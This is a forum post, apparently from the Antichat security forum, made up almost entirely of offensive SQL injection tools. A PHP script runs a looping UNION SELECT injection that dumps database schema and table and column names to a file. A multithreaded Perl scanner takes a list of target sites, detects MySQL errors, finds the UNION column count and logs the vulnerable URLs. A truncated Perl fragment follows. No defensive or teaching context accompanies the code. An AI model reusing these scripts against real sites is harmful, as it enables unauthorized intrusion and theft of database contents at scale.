ANTICHAT — форум по информационной безопасности, OSINT и технологиям

<?php  set_time_limit(0); for($n = 0;$n <= 500;$n++)         { $host = 'www.site.com';  $url = fsockopen($host, 80);   $req  = "GET /script.php?id=-1033901+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,concat(0x3c677261623e,0x3c677261623e,table_schema,0x203a20,table_name,0x203a20,column_name,0x3c2f677261623e2020),29,30,31,32+from+information_schema.columns+limit+$n,1/* HTTP/1.1\r\n";  $req .= "Host: $host\r\n";  $req .= "User-Agent: Opera/9.24 (Windows NT 5.1; U; eng)\r\n";  $req .= "Content-Type: application/x-www-form-urlencoded\r\n";  $req .= "Connection: Close\r\n\r\n";   fputs($url, $req); while (!feof($url)) { unset($buffer); $buffer = fread($url, 1028);                 $s = strstr($buffer,'<grab>');                   $nm = strpos($s,'</grab>');                  $result = substr($s,7,$nm - 7); 		$check = preg_replace("|grab>|", "", $result);                 #echo $pizdec; file_put_contents("dump.txt", $check, FILE_APPEND);  } $ns = "\n"; file_put_contents("dump.txt", $ns, FILE_APPEND); fclose($url);  }  ?>

#!/usr/bin/perl -w
##########################################
##########Coded by Daniel_1024 #################
##########################################
use warnings;
use threads;
use threads::shared;
use LWP::Simple;
use LWP::UserAgent;
use HTTP::Request;
system(cls);
print "Enter a file with targets:";
$file = <STDIN>;
print "Enter output file:";
$vulnfile=<STDIN>;
print "Enter number of threads:";
$tn=<STDIN>;
open("FILE", $file) || die "Couldn't open file\n";
my @sites : shared =<FILE>;
close("FILE");
chomp(@sites);

my $num = 0;
my @trl = undef;
my $null   = "09+and+1=" ;
my $code   = "0+union+select+" ;
my $add = '+' ; 
my $com ='--';

print "Scan started\n";

for(0..$tn-1) {$trl[$_] = threads->create(\&test, $_);}
for(@trl)   { $_->join; }

sub test
{
	while(@sites){
		 { lock(@sites);}
         my $site = shift(@sites);
		 my $i = 0;
		 my $col = '';
		 my $specialword = '';
		 my $injection = $site.$null.$code."0",$com ;
		 my $useragent = LWP::UserAgent->new();
		 $useragent->proxy("http", "http://$proxy/") if defined($proxy);
		 my $response  = $useragent->get($injection);
		 my $result   = $response->content;
		 if( $result =~ m/You have an error in your SQL syntax/i || $result =~ m/Query failed/i || $result =~ m/SQL query failed/i || $result =~ m/mysql_fetch_/i || $result =~ m/mysql_fetch_array/i || $result =~ m/mysql_num_rows/i || $result =~ m/The used SELECT statements have a different number of columns/i )
		 {
			 for ($i = 0 ; $i < 35 ; $i ++)
			 {
				 $col.=','.$i;
				 $specialword.=','."0x617a38387069783030713938";
				 if ($i == 0)
				 {
					 $specialword = '' ; 
					 $col = '' ;
				 }
				 $sql=$site.$null.$code."0x617a38387069783030713938".$specialword.$com ;
				 $ua = LWP::UserAgent->new();
				 $ua->proxy("http", "http://$proxy/") if defined($proxy);
				 $rq = $ua->get($sql);
				 $response = $rq->content;
				 if($response =~ /az88pix00q98/)
				 {
					 $i ++;			 
					 print "\n[!] The Website $site Is Vulnerable\n" ;
					 print "[!] It Have $i Columns\n" ;
					 $sql=$site.$null.$code."0".$col.$com ;
					 print "=> ".$sql ."\n";	
					 open(vuln_file,">>$vulnfile");
					 print vuln_file "$sql\n";
					 close(vuln_file);	 
				 }	
			 }
		 }
		 else
		 {
			 print "[!] The WebSite $site Is Not SQL Vulnerable !\n";
		 }
	}
		print "Scan finished";
		print "[+] Saved to $vulnfile";
	    sleep 5;
}

#!/usr/bin/perl -w
use warnings;

use LWP::Simple;
use LWP::UserAgent;
use HTTP::Request;

print "Enter a file with targets:";
$file = <STDIN>;

open("FILE", $file) || die "Couldn't open file\n";
my @sites : shared =<FILE>;
close("FILE");
chomp(@sites);

my $null   = "09+and+1=" ;
my $add = '+' ;

{ lock(@sites);}
my $site = shift(@sites);

$result =~ m/You have an error in your SQL syntax/i || $result =~ m/Query failed/i etc